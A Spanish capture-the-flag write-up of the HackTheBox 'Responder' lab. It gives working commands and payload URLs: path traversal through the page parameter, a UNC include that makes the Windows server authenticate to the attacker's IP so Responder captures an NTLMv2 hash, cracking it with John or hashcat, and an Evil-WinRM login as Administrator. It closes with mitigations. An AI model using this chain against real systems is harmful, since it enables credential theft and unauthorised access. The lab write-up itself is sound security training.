Responder
La web tiene un LFI. En Windows, si le pido que incluya un archivo de una ruta de red (//mi-ip/algo), el servidor intenta autenticarse contra mi máquina. Responder recoge ese intento con el hash NTLMv2 del usuario, lo rompo con John y entro por WinRM.
- FalloLFI en el parámetro page
- CredencialesHash NTLM capturado con Responder
- AccesoShell con Evil-WinRM
Reconocimiento
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p80,5985 <IP>| Puerto | Servicio |
|---|---|
| 80 | HTTP (Apache con PHP, sobre XAMPP) |
| 5985 | WinRM (administración remota de Windows; nmap lo muestra como Microsoft-HTTPAPI/2.0) |
Al abrir la IP en el navegador redirige a un dominio, así que lo añado a /etc/hosts y miro la tecnología:
echo "<IP> unika.htb" | sudo tee -a /etc/hosts
whatweb http://unika.htbEl fallo: LFI
La web cambia de idioma con una URL del tipo index.php?page=french.html. El parámetro page carga un archivo del servidor. Si no se valida, puedo pedir otros:
http://unika.htb/index.php?page=../../../../../../windows/system32/drivers/etc/hostsDevuelve el archivo hosts de Windows, así que hay inclusión local de archivos (LFI). Por detrás, PHP mete el valor de page en un include() sin filtrarlo.
Capturar el hash con Responder
Responder se hace pasar por un servidor SMB. Cuando Windows intenta abrir una ruta de red, se autentica automáticamente con NTLM y Responder guarda el hash.
Primero miro la IP de mi interfaz de la VPN de HTB (tun0) y arranco Responder en ella:
ip a show tun0
sudo responder -I tun0Luego uso el LFI para que el servidor "incluya" un archivo en mi máquina:
http://unika.htb/index.php?page=//<MI-IP>/cualquiercosaLa web da error (no encuentra el archivo), pero en Responder aparece un hash NTLMv2 del usuario Administrator.
Romper el hash
El NTLMv2 no sirve para hacer Pass-the-Hash, pero se puede crackear offline:
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# alternativa con hashcat: hashcat -m 5600 hash.txt rockyou.txtLa contraseña está en el diccionario.
Acceso con Evil-WinRM
El puerto 5985 es WinRM. Con usuario y contraseña, Evil-WinRM da una PowerShell remota:
evil-winrm -i <IP> -u Administrator -p '<contraseña>'Desde ahí se busca la flag en el escritorio de los usuarios de C:\Users.
Lo que me llevo
- En Windows, un LFI que acepte rutas UNC (
//servidor/recurso) sirve para robar hashes aunque no se pueda leer nada útil. - Responder escucha y espera: el truco está en conseguir que la víctima se conecte a ti.
- Ver el puerto 5985 abierto es señal de que unas credenciales pueden convertirse en shell.
Cómo se arregla
- Validar el parámetro con una lista cerrada de archivos permitidos en vez de usar la ruta que manda el usuario.
- Bloquear el tráfico SMB saliente (445) desde los servidores web.
- Contraseñas largas que no estén en diccionarios y WinRM accesible solo desde redes de administración.
Técnica relacionada: SMB.
